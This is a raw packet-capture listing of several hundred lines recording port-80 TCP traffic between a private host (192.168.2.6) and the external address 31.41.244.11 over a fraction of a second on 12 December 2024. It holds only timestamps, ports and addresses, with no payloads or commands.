Dec 12, 2024 21:50:11.441102982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.441193104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.441247940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.443207026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.443228960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.443269968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.443303108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.444856882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.444916964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.445024967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.445139885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.446966887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.447029114 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.447137117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.447190046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.449062109 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.449089050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.449143887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.450963020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.451029062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.451956987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.452018023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.452126980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.452315092 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.453818083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.453871012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.453994989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.454051018 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.455921888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.456027031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.456079960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.457895041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.457954884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.457972050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.458024979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.459336996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.459403038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.459666967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.459728003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.462418079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.462495089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.463078022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.463135004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.464076042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.464096069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.464145899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.464176893 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.465890884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.465955973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.466058969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.466123104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.467787027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.467845917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.467952967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.468173981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.469827890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.469891071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.470101118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.470161915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.471893072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.471910000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.471985102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.471986055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.473099947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.473155975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.473294973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.473351002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.475236893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.475353956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.475392103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.475425005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.478776932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.478794098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.478836060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.478868961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.479698896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.479827881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.479871035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.479924917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.481745005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.481801033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.481909990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.481966019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.483860970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.483913898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.483993053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.484114885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.485740900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.485760927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.485794067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.485822916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.486989975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.487050056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.487124920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.487174034 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.489032984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.489065886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.489093065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.489125967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.491451025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.491472960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.491529942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.491530895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.492963076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.493026018 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.493097067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.493251085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.495213985 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.495238066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.495266914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.495296001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.496895075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.496951103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.497481108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.497543097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.500072002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.500132084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.500174046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.500222921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.500943899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.500998020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.501024961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.501188040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.503706932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.503757000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.503797054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.503910065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.504920959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.504973888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.505007029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.505053043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.506892920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.506947041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.506954908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.507003069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.525926113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.526021004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.526063919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.526110888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.527565002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.527618885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.528043032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.528096914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.529169083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.529217005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.529361010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.529409885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.530925989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.530992985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.531207085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.531256914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.532922983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.532980919 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.533137083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.533183098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.534967899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.534992933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.535028934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.535052061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.537005901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.537031889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.537054062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.537070990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.538957119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.538974047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.539025068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.539047003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.540941954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.540988922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.541111946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.541160107 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.542762041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.542834997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.542924881 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.542964935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.544891119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.544943094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.545027018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.545084000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.546837091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.546860933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.546890974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.546906948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.548809052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.548854113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.548978090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.549030066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.550888062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.550915956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.550935030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.550954103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.552859068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.552882910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.552938938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.554099083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.554147005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.554184914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.554349899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.556062937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.556122065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.556189060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.556231976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.558048964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.558137894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.558165073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.558276892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.560024023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.560079098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.560127974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.560168028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.562002897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.562060118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.562104940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.562180042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.563976049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.564028025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.564100027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.564141035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.565994978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.566050053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.566087961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.566133022 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.568075895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.568131924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.568161964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.568203926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.569976091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.570033073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.570065022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.570169926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.571912050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.571953058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.572031021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.572078943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.573899031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.573949099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.574001074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.574042082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.575920105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.575977087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.576014996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.576062918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.577883005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.577927113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.578001022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.578160048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.579873085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.579926014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.580017090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.580060005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.581902027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.581948042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.581990004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.582057953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.583859921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.583957911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.583992958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.584038019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.585982084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.586061954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.586390018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.586437941 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.587831020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.587882996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.587956905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.588000059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.589863062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.589920044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.589961052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.590038061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.591777086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.591846943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.591943979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.592015028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.593808889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.593851089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.593916893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.594055891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.595803976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.595887899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.595899105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.595935106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.597814083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.597867966 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.597949028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.598001003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.599744081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.599822044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.599884987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.599936008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.601532936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.601579905 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.601639032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.601726055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.603351116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.603429079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.603468895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.603511095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.605182886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.605238914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.605354071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.605439901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.606905937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.606951952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.607052088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.607104063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.608695984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.608751059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.608829021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.608871937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.610429049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.610599995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.610608101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.610656977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.612092972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.612154007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.612214088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.612333059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.613744974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.613796949 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.613851070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.613905907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.615420103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.615468025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.615545034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.615592003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.617136002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.617183924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.617224932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.617351055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.618733883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.618782043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.618822098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.618876934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.620338917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.620393038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.620434046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.620625973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.621951103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.622005939 CET	49878	80	192.168.2.6	31.41.244.11
